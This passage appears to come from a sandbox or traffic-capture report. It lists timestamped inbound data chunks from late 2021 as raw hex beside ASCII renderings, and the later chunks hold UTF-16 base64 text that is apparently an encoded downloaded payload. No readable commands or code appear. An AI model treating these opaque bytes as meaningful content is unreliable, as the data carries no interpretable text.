3c b5 69 d8 7d d6 18 75 b9 1f 39 90 95 00 d2 a7 b5 0f cc 87 71 22 6a c0 60 f6 de a5 fd ac ae d9 c0 8a e7 Data Ascii: iby`J6gW74jM./QA?Xg_XjxEeK^el=$8J$`%M@!vHh<02EKd#o5hjaSBX}<-tPn=n3{MM7PD> ]q;<i}u9q"j`
2021-12-31 18:12:58 UTC	174	IN	Data Raw: 0f 33 a2 94 fb 08 14 2c a2 d3 66 8e 81 48 77 2f 61 b0 19 1b 04 9b 9e 76 08 e1 4b 55 75 5d b5 87 d2 e1 24 ec 3a ea 5a a4 03 96 d1 0c be 36 ac 2d 12 de 8f dd 23 da 7e f0 f8 aa 5a 3b c4 3d ae cc cf 05 97 ac a9 c5 82 f2 43 d1 4e a9 b5 eb 26 6e d8 5c e6 af 0b cf 6f 7d a0 b4 1c 64 c5 f8 66 96 f6 85 91 f7 e1 63 03 f8 85 d5 d3 44 13 6c d9 46 05 7c 7f 35 83 b1 4c 83 9b 12 5c e8 3e d0 6e 97 9b 7c 23 29 87 b5 50 77 cf 27 04 96 5f 93 b1 47 c2 a3 87 fb fd 78 48 39 5f 0a 79 1d 36 85 91 fc d0 f7 14 0f 15 eb fc 12 c1 7c 74 96 1f e3 f2 38 76 74 18 13 6f e4 dd 75 51 86 53 67 40 9c b0 8f f0 5b b6 03 cc af 7e 19 08 97 be bc c9 f7 ad 82 91 3b 56 2f f2 01 9d f0 f2 a7 88 ab 19 75 78 4f 01 ed ce 04 90 f0 3e 37 e4 f2 b2 2c 60 af 17 57 9f d1 74 de a1 ec 96 1a 74 b7 52 e2 ee be e9 Data Ascii: 3,fHw/avKUu]$:Z6-#~Z;=CN&n\o}dfcDlF\|5L\>n\|#)Pw'_GxH9_y6\|t8vtouQSg@[~;V/uxO>7,`WttR
2021-12-31 18:12:58 UTC	178	IN	Data Raw: bb 87 5e e3 57 46 e1 c3 6a 8c 87 d0 9a 7f df 5d 7a 4c 62 01 ae 55 90 3c 0c 46 21 4e bc b3 65 7b 44 78 3d 60 7c fc db a5 84 e5 d3 5e f0 71 fe a9 3d fc d9 6c 95 bf 72 ef ad 0f bb c7 b6 ca c7 20 f9 2a 9f e4 d8 8a 24 50 ed 96 c2 e0 dd 0d 22 8f a0 63 18 b8 78 68 e0 d4 7c 77 29 2b 76 d0 84 6e 51 04 d2 90 7e 33 e6 8b 18 33 00 a8 db ef 56 0c 6b 40 bb 61 61 b3 6d 40 4f 86 61 7b 6b b7 cb 61 df 55 46 05 65 ed cb e0 f1 47 f6 be 72 fe 90 11 a9 5a 7c f8 cf bf 2a ab ba 5c c4 c2 20 c7 2c b7 a0 50 cc c1 44 a2 b3 98 b8 96 c1 c5 d4 61 a2 43 c2 5d 54 99 37 8f a0 3f 6f 5f b2 92 62 a0 f2 15 eb e2 80 00 05 93 43 40 64 22 d5 ff 93 b7 5b d0 27 04 f1 6c 67 48 4c c8 a3 ae 6e d5 bb e7 b6 3e c4 40 8e 59 48 c0 1e 0d 7e 7c 63 7e 99 c0 f1 af f1 61 73 bd 0b 9a 17 68 a9 b3 18 dd e6 66 3d Data Ascii: ^WFj]zLbU<F!Ne{Dx=`\|^q=lr $P"cxh\|w)+vnQ~33Vk@aam@Oa{kaUFeGrZ\|\ ,PDaC]T7?o_bC@d"['lgHLn>@YH~\|c~ashf=
2021-12-31 18:12:58 UTC	182	IN	Data Raw: a1 40 3d d0 41 5f 78 6e 26 0f 1d be 27 54 62 f7 79 3a 87 24 3b 3b 6d 23 05 b1 3d f3 92 ff fe e2 f1 8a 73 5b 95 1a 9b df c9 4f 19 de 6f 88 43 f1 ff 41 f7 b7 8e 02 8b ef 2b 14 5a 6b 22 e4 85 5a 14 a1 33 a9 6e 83 4f 62 e4 4e a8 90 03 f2 9c b1 66 94 ea 3e 78 eb a4 5e d7 07 3c 7f a7 58 3c 68 16 32 b8 7e 17 45 42 bc 54 b3 86 db e2 12 95 86 e5 96 e3 58 67 95 c8 bf d9 87 1f 37 43 4d 25 84 a1 26 9f c3 03 ea 07 37 e7 f9 d0 38 4b 92 bf 90 e1 83 44 3a ce 8d e4 bc 1a 60 63 ad 96 b5 8d 46 be 44 c0 9d 6c cd 20 ef f3 58 42 ed e7 90 5a a0 50 14 c2 a2 4f bc c8 c2 ee 1c 9f 8d 74 da f9 dd 02 a2 18 ec eb 81 51 28 0c 39 71 fe 9a 9f 8c fe e6 98 9e 7b 56 e2 a7 dd de 72 ad f2 ac 0d d9 1d e9 7c 8d c2 da 59 f6 fc 6b 67 a7 91 a5 04 35 cf 81 f0 ab 78 4e f1 22 f1 ec ef d9 6b 81 48 94 Data Ascii: @=A_xn&'Tby:$;;m#=s[OoCA+Zk"Z3nObNf>x^<X<h2~EBTXg7CM%&78KD:`cFDl XBZPOtQ(9q{Vr\|Ykg5xN"kH
2021-12-31 18:12:58 UTC	186	IN	Data Raw: a4 a9 a9 f5 9f 97 dc 96 f1 9a eb 67 14 13 f0 35 65 13 4b 9e d2 40 a7 24 cf 2a ee 82 9a 3c 87 d2 33 45 9d db 5e 84 c6 e0 ab a9 f0 8e b9 24 5e 51 65 93 d9 4d 7f a6 36 d6 8f 73 f2 2c aa 18 be ab 51 0d 61 a3 76 88 b4 1d 76 29 a8 a5 4c 69 18 78 4e 0e f4 f5 65 3a 44 20 fc ee ae fe 17 67 19 98 bd 2e 29 8e 5b 98 26 3c 3e db ea 3a 17 61 3c 0e 9f 73 14 93 e4 32 a6 91 ef ff 7b 1d a6 93 5d 51 81 32 ae 39 84 ee f4 24 7c 55 21 69 97 c7 35 af bf 21 da f8 f4 74 06 d1 ca 41 82 aa 06 c5 a1 58 45 ba 46 5a 06 e1 47 a9 b4 b2 52 4a 6b 3c 86 09 6e 02 fc 79 e2 74 fb 63 6a 7f 22 68 27 97 c9 10 0e f2 94 c9 2c a1 d7 7a 74 0e 1b cf ec f4 c4 b1 38 ba b9 e2 6b de ab a5 3a 0c 71 57 e2 f4 02 28 5e 00 74 90 e6 24 19 22 fa 1c 6e b9 7a 97 fa 22 d4 c5 7c 93 53 c6 b3 d0 61 f0 b0 a6 b0 07 82 Data Ascii: g5eK@$*<3E^$^QeM6s,Qavv)LixNe:D g.)[&<>:a<s2{]Q29$\|U!i5!tAXEFZGRJk<nytcj"h',zt8k:qW(^t$"nz"\|Sa
2021-12-31 18:12:58 UTC	190	IN	Data Raw: e1 7f 81 9e eb 3d 2e d2 1d f8 84 74 98 ca a8 00 6d 5e b2 7e 35 0d 8e d0 8d 04 2f dd 0f 0a ea d9 39 5b 69 24 95 e2 d4 e3 16 b8 49 50 3f 0b e6 58 8e e5 b4 0b 72 b3 71 a4 65 b4 db e7 54 83 0d d7 5f 25 d4 c1 32 51 bb 37 7f 47 fe 27 2c 1b 1b b5 b0 00 06 a7 f2 b3 53 01 6f fc 7a 88 4b 12 1c 8c 61 09 b0 a6 97 75 cf 49 ca fc 9e 66 87 fa 17 74 b5 85 ed a7 17 4a f8 aa e8 67 6d 8f f4 5b a9 57 aa b3 e8 fe 1a cd 48 01 73 15 60 c2 b8 2a 5d 51 73 dd 3f 0d 4f ff b0 7b 47 f3 7e 29 b3 89 6a ee 12 1d d8 93 0e 5b 4e 7a 20 36 8e 7d 2d 85 72 ac 62 d1 c1 90 3b 66 13 ab f4 3e 8a 29 01 6b b7 aa 1f 0b c4 44 b9 36 9f ee a4 a8 4d 7d 65 31 4c 44 e8 af 3c 70 c7 35 db cc 7a ce 6f 6e 7a 94 b8 80 44 40 ed d4 9c 0f 72 87 64 5b c8 8e a2 0e b7 3d 74 ae 39 b9 91 82 a4 fe b7 ae 3f 40 d4 90 86 Data Ascii: =.tm^~5/9[i$IP?XrqeT_%2Q7G',SozKauIftJgm[WHs`*]Qs?O{G~)j[Nz 6}-rb;f>)kD6M}e1LD<p5zonzD@rd[=t9?@
2021-12-31 18:12:58 UTC	193	IN	Data Raw: e4 9e 94 84 7d ec 6d 62 3f a0 fe ff 68 41 cc 85 01 e2 0d 6e 37 6b 3f 49 33 89 ea 14 4a 20 ef 50 72 14 68 6b 53 03 a8 46 53 6d f3 8e 50 fe ba 04 dd ea 07 c0 1f bf 8e a4 96 73 a4 b5 12 03 3c 37 74 4e 4c cf 44 30 43 41 9c 13 75 d4 da d8 91 54 29 d9 7a ef 4b db 30 bd a7 25 d4 1d bd ea af 13 20 f1 4f 23 77 ab cf b0 43 06 7f bd ca c3 e6 41 14 99 c4 85 dc 5c 23 55 4b 66 25 60 12 92 c4 0c af c9 f1 32 06 eb 30 81 83 f3 2a 89 ec c9 f4 89 c9 20 41 f7 ac 0c 33 63 55 ea 0d f0 6a 36 7e 6c 89 22 2a e6 23 c2 a8 d2 7e 1e d1 21 ad 4f 2d e4 a0 8e 8f 0b af 5d ce 18 de 98 a4 cd 07 9d 5a 7e b4 4a cc 2d b5 00 52 65 29 ad 48 e6 8d 6b 43 42 3f cd 1b 88 70 72 6a 44 2d f4 8b 46 8a e4 dd b0 47 f9 ac e9 1b 28 51 3e 53 0b b9 69 59 24 b1 51 f5 fb 2f 8b 32 e2 64 69 88 23 cc da e5 92 9c Data Ascii: }mb?hAn7k?I3J PrhkSFSmPs<7tNLD0CAuT)zK0% O#wCA\#UKf%`20* A3cUj6~l"*#~!O-]Z~J-Re)HkCB?prjD-FG(Q>SiY$Q/2di#
2021-12-31 18:12:58 UTC	197	IN	Data Raw: 43 e9 37 3a 73 a9 5a ac 98 22 8c 0b 1f 50 f7 4b fe f9 03 b6 c3 70 95 1a 88 92 dd c7 8e da a7 94 61 d5 4c fc eb fa 36 16 87 89 b2 09 0e c8 00 93 99 b9 6a 0e 31 ed 1d be 63 1c f4 c9 5f a1 b3 d9 fc 4a de 9d 49 e1 e3 79 a0 a1 0d 88 1d 41 28 9c 7e d8 57 1e c4 c4 07 2c da f1 c1 a9 e5 5a 4e c7 af 54 bf f5 68 8d fb b4 92 29 26 db 61 a2 be 77 4d f4 a1 b0 0f 9e 4e 1f 18 8b 6e f2 df b3 a3 43 45 fd be 39 88 1a 26 38 db b8 ea 5f ab 4b 51 f1 09 43 c3 22 e0 72 83 7f 3e 06 5d d9 fd 4e 0a 1f bb c7 7f a4 58 a2 84 4b b7 38 d7 f1 96 0d c4 be 2a 60 49 46 9a ec 00 d0 e0 d6 bd 4d 1b 42 51 8f c5 0e b8 c5 fb 6f 13 72 29 b0 4c 20 e8 2a 12 ea 20 d4 2e a1 b6 93 2f 91 20 91 8a 6f 00 d9 cd bb 4a 89 9f 44 1c ae a2 be 17 21 c6 fb be 59 0e f5 61 bf 79 25 bd 03 98 69 2e e4 22 cb 97 a0 33 Data Ascii: C7:sZ"PKpaL6j1c_JIyA(~W,ZNTh)&awMNnCE9&8_KQC"r>]NXK8`IFMBQor)L ./ oJD!Yay%i."3
2021-12-31 18:12:58 UTC	201	IN	Data Raw: b9 28 2d 6a 1f ac d5 c4 e6 d2 0d fc 33 ef 9a 6a 3e 9e 91 55 3a 57 33 0e 74 ce ac d6 76 f3 29 ae 37 5f b7 e2 33 3a 34 06 02 b3 ee 7d 8e d4 ad 29 e2 1b c9 c4 2d 97 4b c2 ea 44 0c 79 85 43 43 7c 30 eb c4 f7 f6 ff a0 48 c8 4d 92 f4 f7 49 18 df 95 48 dc 5a 73 06 83 2f 19 40 71 fd 03 f4 e2 64 9a 05 d2 4d 06 51 dd 17 38 ec 64 ac e8 f8 d1 6f 24 a1 5f a6 45 d8 1d 4b 7e 9d 56 c2 27 06 2a 5a e4 57 2f 94 1a 15 b4 a6 81 dc bd 2a 86 1e d5 5d 6b ac 6a 73 fa fd 07 3c 9d ac b1 b9 f8 cb 63 be 44 9e a8 69 6f 2f f4 48 52 4f 95 37 71 d1 1c 7c 97 ce 1a f9 e8 d5 36 99 c3 a9 cf 0b d4 04 c0 ab 4a 55 c5 d7 5f 75 39 7e 84 33 8a bd 84 e8 bb c1 f2 96 d1 ab 15 95 8e 73 99 7e 37 8b 4b 5f ca a4 95 68 33 b9 35 43 86 f8 1b 09 0e e3 88 ac a3 e5 3c 3c 2a 50 95 65 11 85 66 4e 64 e7 be 6b c8 Data Ascii: (-j3j>U:W3tv)7_3:4})-KDyCC\|0HMIHZs/@qdMQ8do$_EK~V'ZW/]kjs<cDio/HRO7q\|6JU_u9~3s~7K_h35C<<*PefNdk
2021-12-31 18:12:58 UTC	206	IN	Data Raw: 60 35 56 21 0c 6e 0b 82 06 cf b5 92 26 89 83 ef 28 6f 4a 52 70 fa 43 c5 a8 99 3c ab 97 0a 84 19 0e 34 e8 1f 14 7b 02 46 92 cf ac c6 b4 3a aa a5 d8 02 d7 7d b1 9b 01 2c a5 97 6b 8c 26 7c 9a c3 ee 24 6d 15 cb ec d7 82 02 b5 5d d2 9d 41 e0 d8 16 36 f5 1d a8 a7 6a b1 cd cb f7 b9 a8 03 e0 fc 61 9c 81 98 fa 4e 90 61 6e 03 69 b0 16 b2 cd d6 21 5f c7 35 86 6a 51 f8 57 ba f8 3e 9d 96 17 2f f6 78 30 8b d7 06 01 e7 49 10 d8 8b b1 66 48 60 12 4f 55 94 7d 1c 49 4e 0f a5 e1 2c f9 32 78 af dc 68 70 a4 d0 f6 ac 1b 54 ee ca 80 a3 e5 e0 74 80 bc ae b8 c1 56 8c 49 c5 cf 82 8a d2 ce b1 65 a3 f5 31 ef c6 2d 02 27 1a 41 4c f7 85 33 13 e8 fd 00 09 e7 c0 53 f7 9d 73 f9 1d aa ac 19 71 8a 26 db c3 0f 35 f3 22 50 73 2c 7e e3 cd 38 19 2a 93 0c a1 b3 84 22 3c eb d3 99 6e a1 40 87 b9 Data Ascii: `5V!n&(oJRpC<4{F:},k&\|$m]A6jaNani!_5jQW>/x0IfH`OU}IN,2xhpTtVIe1-'AL3Ssq&5"Ps,~8*"<n@
2021-12-31 18:12:58 UTC	210	IN	Data Raw: 57 cd e6 43 9d 63 09 76 81 37 03 bb 3e a1 8a 82 a9 59 0a a8 63 1f a7 9a 66 59 00 c6 0d 68 8d ae e1 be c6 67 f3 28 9a 9b 9c 9b 1b 0e 34 72 99 4c 83 04 23 b7 c7 77 84 11 03 7b 61 83 80 59 78 fa af 19 db ca 9a d4 48 cd 7e 3d 6c d6 26 36 fe 5f be f0 2c 6c b7 53 04 71 6b 9f 1f 67 70 35 c9 01 f1 eb 57 cf 14 8b b7 5c f7 2e 7d 12 7d b8 36 9d ee 7b 5a 40 8f 9a 5d b8 05 82 c4 50 b7 9d 3b 9a cc 18 e7 51 b1 ac 0a c5 af 65 d1 d9 01 3c 00 80 59 1f 2d 14 a7 9d 30 e4 91 c2 c9 ef 33 b3 08 fb 0c c1 63 1f 72 42 6b a9 10 9b a9 89 ee 4c a0 64 a8 e7 b3 f0 11 a0 50 03 25 25 09 70 1b d5 9b 2a 90 4f e7 89 2d b4 0a bc ea d3 84 64 39 07 54 75 77 46 06 e5 47 a9 34 5e f0 f3 20 a6 f9 1e d5 b0 d9 d2 64 93 7f 73 0a 55 65 93 5b 45 43 02 f0 b5 27 cc 15 90 80 0d b0 76 b8 7b 99 77 a8 ac 5e Data Ascii: WCcv7>YcfYhg(4rL#w{aYxH~=l&6_,lSqkgp5W\.}}6{Z@]P;Qe<Y-03crBkLdP%%p*O-d9TuwFG4^ dsUe[EC'v{w^
2021-12-31 18:12:58 UTC	214	IN	Data Raw: 09 54 6d 2c 28 72 be 14 ed 07 14 73 ec df 69 7b 09 25 db b1 54 a4 0f 6b 00 c3 88 29 d0 c3 f6 9a dc 30 90 35 be ff b7 9c 97 d3 2e be a3 ef 3a f0 a3 8e 0d 2b cc 3e 85 c6 a7 64 74 c8 a4 5d 77 36 7e fa 50 ed e4 cd 45 1c ae 9e 0a 7e 2b 4b d7 83 df 26 6b a6 1e b1 94 1b a9 b6 ce d2 f9 d8 a2 31 cd 23 5d df 00 1b c8 d9 46 a3 2e 68 15 1d 4c f0 f0 53 25 cc 51 4b 47 7c 77 96 f8 f9 5f 79 5f fd 8b fc 13 62 c7 28 c3 9e e6 4d df 22 7d 6e e4 8f be 4d 92 b6 7b ce 12 bc 6b 6f 00 0c fa 41 53 43 e4 bc 79 c1 a7 d1 1d 8f 7c cc bf 53 a5 fd ff 2a 05 f6 1a c9 5d e8 c6 eb a8 53 6a 67 b1 38 a7 2b 7c 84 9c fa b1 8a 42 37 34 0f 73 ee 3b 1f 8f c6 66 80 8e 66 72 6a 56 a0 0e d2 da 87 c6 3a 79 e2 50 43 a7 01 42 f5 b1 9a 98 1c 8e 7a 52 47 1e 5b 39 e6 51 04 54 7e e3 95 fc ed 22 9b 17 6f 87 Data Ascii: Tm,(rsi{%Tk)05.:+>dt]w6~PE~+K&k1#]F.hLS%QKG\|w_y_b(M"}nM{koASCy\|S*]Sjg8+\|B74s;ffrjV:yPCBzRG[9QT~"o
2021-12-31 18:12:58 UTC	225	IN	Data Raw: 6f cb 45 56 83 2f cc 81 aa 39 dc 53 cb 3a 8c d5 86 41 89 84 7a ce 77 a4 09 c2 b1 87 02 35 52 4e 2f 28 56 55 cf 1f 8e 6f c0 97 d6 ab 2d 40 50 a8 7b 17 8f 91 60 81 1e e9 40 18 c3 e3 3c 95 9e fc fb c9 46 5a f1 37 da 48 60 0c 1f 5f df f2 70 6a eb ed 31 3f ba 23 70 1b 97 98 e6 7a 27 53 43 ce 1f d8 df 9e 6f 4e 10 b9 81 29 df ac 0b 98 ef 29 d8 43 fa 14 b5 00 aa b8 0c f0 b8 ae b5 a2 9e e9 e5 36 ff 61 96 02 1d 7f 21 53 66 4e ab e2 1a fd b6 c2 4f 88 4e 4a 8f d2 5c 74 19 3e 73 de 34 6b 11 e9 ca c1 21 13 e0 10 65 f3 20 39 e7 58 cd a1 7f 80 eb 82 f2 03 c0 09 66 6e 4a a7 63 35 56 29 a2 7a f6 63 90 50 86 b0 f1 14 46 c9 3a 69 98 f6 31 ee 10 14 0e 9e db 1f 7d b3 03 09 0f e6 50 1b ed 99 31 26 b3 08 ce df dd 23 49 aa d0 51 24 ca 08 43 3a bb 76 81 16 5a 69 75 e4 4c 19 a7 eb Data Ascii: oEV/9S:Azw5RN/(VUo-@P{`@<FZ7H`_pj1?#pz'SCoN))C6a!SfNONJ\t>s4k!e 9XfnJc5V)zcPF:i1}P1&#IQ$C:vZiuL
2021-12-31 18:12:58 UTC	230	IN	Data Raw: 8d 3d 1a f0 90 ca 45 74 2d f7 ae 0f e6 55 3c 61 d6 4c df a5 6f d8 54 92 a3 39 4b 68 7f 91 90 a3 52 1b 6f de 17 e5 45 3b 98 b1 00 44 32 d1 70 a5 cd 95 60 3e 9f 06 54 10 70 96 ae 74 5a 4c 24 b2 89 f4 e5 fb 06 53 0f 72 d8 61 28 0e 2d 34 ff f7 b2 e9 8f 74 ab 2d 68 af bd 63 91 9d 11 c7 a2 10 8c eb b2 5d 69 b2 16 53 0e 51 2a dd 82 29 40 e3 ef e9 62 c3 02 ad 99 4c 04 6f 25 2a f8 35 dc 3a 2a b7 a3 47 ee e5 cb e9 cc f7 61 81 38 ab 8e 42 41 f5 de 13 ad 79 2c 2c 82 f8 68 a9 fe 02 23 01 98 44 bb 9f 79 26 a8 eb 7b 11 6c ff 5c 6f b5 a7 2b 01 5b 9b 5c 32 ca 97 5c 65 5e 07 50 90 20 44 b5 b1 b6 70 1c d1 f0 f4 af da 49 7d e0 d8 36 79 2c 71 79 1f ed 18 3e 20 dc f9 61 3d 0f 51 1e d9 21 90 25 7d 7a 80 39 a9 d9 ca bb e4 95 60 86 c2 a0 11 21 1f cc 1d be 90 b8 57 92 f9 00 df df Data Ascii: =Et-U<aLoT9KhRoE;D2p`>TptZL$Sra(-4t-hc]iSQ)@bLo%5:*Ga8BAy,,h#Dy&{l\o+[\2\e^P DpI}6y,qy> a=Q!%}z9`!W
2021-12-31 18:12:58 UTC	246	IN	Data Raw: 40 c9 59 55 d9 bf be 79 8a c4 b7 ce c4 74 59 96 eb 37 bf b7 5e 39 65 58 ed ad bd 38 33 af f4 d8 db 54 a8 8e 55 f0 e9 10 c7 b1 e2 67 98 87 ef ef 0b ee e2 d3 64 bb 94 60 21 cb 2b fa e7 21 ab 32 27 cf 1e 11 e5 67 a8 08 07 9e 2f 54 4e 20 db b2 87 be 8c 7b 79 d3 71 0b 87 9a c2 7a 09 da 23 4c 55 e2 a5 51 fc 54 1f 12 6d ce 30 fd 9f 77 b2 32 3d 49 14 58 ea 92 b8 3c c5 75 e7 9d d9 fd 33 40 90 29 49 5b 15 6f 1e a1 a6 83 9e 85 77 c5 00 9b de 5c 99 be be ea 80 23 90 fe 7f 68 05 0e 51 21 4c 67 32 e0 e1 29 b3 61 29 90 4c b2 07 1a 95 33 79 55 f0 1c 2b 3b 7d fd 4c d4 c2 e5 61 0a 71 96 e9 eb 83 ec c6 02 b9 d6 3e 88 1f bb 6f 99 f2 a0 76 f4 c0 66 d4 d7 1c d3 be 61 bc b4 d9 0d a8 c5 b4 0d 40 b0 f1 5c cd c9 c5 e3 6a c7 89 ce d1 b3 88 57 c1 46 42 9d 2e b8 33 fd 25 0c e1 b7 b6 Data Ascii: @YUytY7^9eX83TUgd`!+!2'g/TN {yqz#LUQTm0w2=IX<u3@)I[ow\#hQ!Lg2)a)L3yU+;}Laq>ovfa@\jWFB.3%
2021-12-31 18:12:58 UTC	257	IN	Data Raw: 00 33 00 56 00 39 00 36 00 59 00 35 00 30 00 53 00 51 00 6b 00 4a 00 31 00 66 00 48 00 4d 00 2f 00 38 00 45 00 55 00 75 00 57 00 69 00 76 00 4b 00 4e 00 51 00 2f 00 6e 00 47 00 34 00 68 00 6c 00 79 00 48 00 63 00 32 00 6b 00 6a 00 34 00 49 00 2b 00 35 00 68 00 61 00 4c 00 43 00 7a 00 73 00 50 00 4d 00 69 00 53 00 78 00 52 00 53 00 4f 00 61 00 72 00 75 00 53 00 72 00 57 00 54 00 43 00 72 00 69 00 33 00 42 00 5a 00 41 00 50 00 6c 00 4a 00 4a 00 2b 00 6b 00 76 00 4b 00 47 00 66 00 6b 00 6f 00 30 00 70 00 45 00 56 00 6f 00 6b 00 43 00 41 00 5a 00 2b 00 76 00 67 00 49 00 53 00 77 00 5a 00 53 00 74 00 32 00 4a 00 74 00 61 00 41 00 6a 00 41 00 79 00 6f 00 45 00 38 00 78 00 55 00 39 00 72 00 53 00 5a 00 77 00 2f 00 79 00 4e 00 62 00 6f 00 71 00 55 00 77 00 70 00 Data Ascii: 3V96Y50SQkJ1fHM/8EUuWivKNQ/nG4hlyHc2kj4I+5haLCzsPMiSxRSOaruSrWTCri3BZAPlJJ+kvKGfko0pEVokCAZ+vgISwZSt2JtaAjAyoE8xU9rSZw/yNboqUwp
2021-12-31 18:12:58 UTC	273	IN	Data Raw: 00 45 00 42 00 53 00 54 00 73 00 4d 00 55 00 4d 00 30 00 7a 00 71 00 79 00 43 00 45 00 5a 00 64 00 38 00 68 00 65 00 63 00 35 00 35 00 6f 00 74 00 79 00 32 00 5a 00 48 00 44 00 63 00 73 00 65 00 49 00 52 00 53 00 48 00 4f 00 6f 00 47 00 36 00 44 00 4b 00 41 00 2f 00 76 00 37 00 41 00 72 00 36 00 69 00 70 00 53 00 52 00 2f 00 6f 00 7a 00 6f 00 4c 00 37 00 4c 00 56 00 32 00 4c 00 50 00 4f 00 51 00 38 00 5a 00 66 00 30 00 72 00 74 00 36 00 77 00 4b 00 65 00 32 00 53 00 64 00 5a 00 45 00 43 00 53 00 4e 00 52 00 51 00 76 00 46 00 7a 00 67 00 64 00 36 00 4e 00 75 00 36 00 77 00 35 00 44 00 41 00 70 00 6b 00 44 00 36 00 76 00 4e 00 50 00 2b 00 74 00 56 00 36 00 53 00 5a 00 6f 00 6a 00 4f 00 35 00 47 00 52 00 59 00 71 00 78 00 58 00 54 00 37 00 33 00 31 00 51 00 Data Ascii: EBSTsMUM0zqyCEZd8hec55oty2ZHDcseIRSHOoG6DKA/v7Ar6ipSR/ozoL7LV2LPOQ8Zf0rt6wKe2SdZECSNRQvFzgd6Nu6w5DApkD6vNP+tV6SZojO5GRYqxXT731Q
2021-12-31 18:12:58 UTC	289	IN	Data Raw: 00 4c 00 42 00 41 00 55 00 7a 00 67 00 78 00 44 00 61 00 75 00 32 00 57 00 2f 00 5a 00 4f 00 65 00 78 00 63 00 69 00 73 00 46 00 7a 00 4d 00 37 00 55 00 4d 00 34 00 4d 00 59 00 6c 00 66 00 48 00 71 00 57 00 72 00 55 00 6d 00 42 00 30 00 78 00 69 00 6d 00 5a 00 2f 00 33 00 45 00 6d 00 48 00 37 00 55 00 58 00 54 00 6f 00 64 00 2f 00 4d 00 71 00 50 00 46 00 70 00 36 00 71 00 72 00 76 00 2f 00 6c 00 7a 00 33 00 30 00 67 00 59 00 63 00 66 00 4c 00 4c 00 33 00 50 00 70 00 4f 00 7a 00 65 00 36 00 78 00 2b 00 4e 00 33 00 73 00 58 00 54 00 46 00 50 00 33 00 66 00 6a 00 54 00 4d 00 55 00 4b 00 71 00 46 00 62 00 66 00 4c 00 6a 00 32 00 63 00 62 00 6a 00 43 00 6e 00 39 00 44 00 4e 00 35 00 75 00 44 00 77 00 33 00 2f 00 62 00 6b 00 6a 00 6c 00 48 00 35 00 30 00 77 00 Data Ascii: LBAUzgxDau2W/ZOexcisFzM7UM4MYlfHqWrUmB0ximZ/3EmH7UXTod/MqPFp6qrv/lz30gYcfLL3PpOze6x+N3sXTFP3fjTMUKqFbfLj2cbjCn9DN5uDw3/bkjlH50w
2021-12-31 18:12:58 UTC	305	IN	Data Raw: 00 53 00 4e 00 75 00 43 00 66 00 6e 00 62 00 42 00 57 00 4f 00 2b 00 2b 00 56 00 47 00 66 00 50 00 67 00 71 00 30 00 79 00 31 00 62 00 42 00 68 00 49 00 37 00 2f 00 53 00 46 00 6b 00 48 00 4e 00 4c 00 37 00 34 00 52 00 44 00 38 00 58 00 32 00 73 00 76 00 4d 00 4d 00 68 00 37 00 38 00 70 00 45 00 41 00 32 00 4f 00 73 00 36 00 6f 00 42 00 55 00 6d 00 59 00 67 00 64 00 41 00 73 00 69 00 49 00 50 00 41 00 6f 00 67 00 34 00 4f 00 75 00 70 00 6a 00 4b 00 59 00 53 00 70 00 67 00 53 00 58 00 66 00 4f 00 51 00 69 00 43 00 75 00 2f 00 67 00 78 00 67 00 64 00 4e 00 78 00 69 00 2b 00 56 00 66 00 78 00 50 00 33 00 38 00 79 00 6c 00 56 00 52 00 69 00 45 00 53 00 41 00 4f 00 36 00 59 00 44 00 2b 00 6b 00 67 00 45 00 63 00 71 00 33 00 6c 00 68 00 75 00 53 00 78 00 34 00 Data Ascii: SNuCfnbBWO++VGfPgq0y1bBhI7/SFkHNL74RD8X2svMMh78pEA2Os6oBUmYgdAsiIPAog4OupjKYSpgSXfOQiCu/gxgdNxi+VfxP38ylVRiESAO6YD+kgEcq3lhuSx4
2021-12-31 18:12:58 UTC	321	IN	Data Raw: 00 75 00 67 00 63 00 71 00 66 00 47 00 59 00 72 00 52 00 57 00 66 00 75 00 43 00 4f 00 51 00 4a 00 6d 00 54 00 67 00 72 00 72 00 72 00 48 00 46 00 47 00 6f 00 5a 00 53 00 50 00 42 00 52 00 59 00 4f 00 4f 00 59 00 46 00 62 00 41 00 74 00 54 00 58 00 2b 00 41 00 48 00 51 00 44 00 41 00 32 00 31 00 77 00 52 00 35 00 47 00 4d 00 48 00 56 00 6d 00 5a 00 55 00 37 00 2f 00 56 00 75 00 42 00 59 00 68 00 47 00 76 00 61 00 69 00 47 00 6f 00 5a 00 36 00 6d 00 53 00 77 00 62 00 6d 00 53 00 30 00 6d 00 66 00 68 00 41 00 67 00 63 00 4c 00 36 00 6f 00 2f 00 30 00 67 00 36 00 7a 00 48 00 51 00 43 00 45 00 4c 00 6c 00 36 00 6d 00 4d 00 4d 00 44 00 53 00 4f 00 77 00 76 00 34 00 76 00 6f 00 5a 00 73 00 42 00 4a 00 2f 00 6e 00 55 00 71 00 45 00 74 00 49 00 55 00 75 00 4b 00 Data Ascii: ugcqfGYrRWfuCOQJmTgrrrHFGoZSPBRYOOYFbAtTX+AHQDA21wR5GMHVmZU7/VuBYhGvaiGoZ6mSwbmS0mfhAgcL6o/0g6zHQCELl6mMMDSOwv4voZsBJ/nUqEtIUuK
2021-12-31 18:12:58 UTC	337	IN	Data Raw: 00 2b 00 4a 00 59 00 58 00 54 00 58 00 44 00 50 00 4d 00 52 00 6b 00 69 00 43 00 68 00 64 00 38 00 67 00 58 00 67 00 31 00 43 00 30 00 43 00 37 00 6a 00 4c 00 31 00 52 00 37 00 50 00 32 00 50 00 5a 00 36 00 32 00 64 00 58 00 37 00 6d 00 59 00 42 00 72 00 4f 00 57 00 41 00 66 00 71 00 46 00 64 00 71 00 2b 00 76 00 30 00 74 00 37 00 30 00 55 00 51 00 6c 00 38 00 43 00 42 00 4f 00 68 00 57 00 55 00 63 00 48 00 63 00 42 00 59 00 34 00 64 00 44 00 44 00 64 00 36 00 61 00 62 00 6e 00 4c 00 4c 00 2f 00 78 00 5a 00 4b 00 48 00 69 00 48 00 55 00 4f 00 47 00 68 00 4e 00 54 00 50 00 4d 00 78 00 2f 00 31 00 64 00 58 00 4b 00 41 00 2f 00 72 00 66 00 4c 00 75 00 53 00 7a 00 43 00 46 00 6b 00 76 00 5a 00 54 00 6c 00 54 00 45 00 75 00 73 00 37 00 64 00 45 00 72 00 5a 00 Data Ascii: +JYXTXDPMRkiChd8gXg1C0C7jL1R7P2PZ62dX7mYBrOWAfqFdq+v0t70UQl8CBOhWUcHcBY4dDDd6abnLL/xZKHiHUOGhNTPMx/1dXKA/rfLuSzCFkvZTlTEus7dErZ
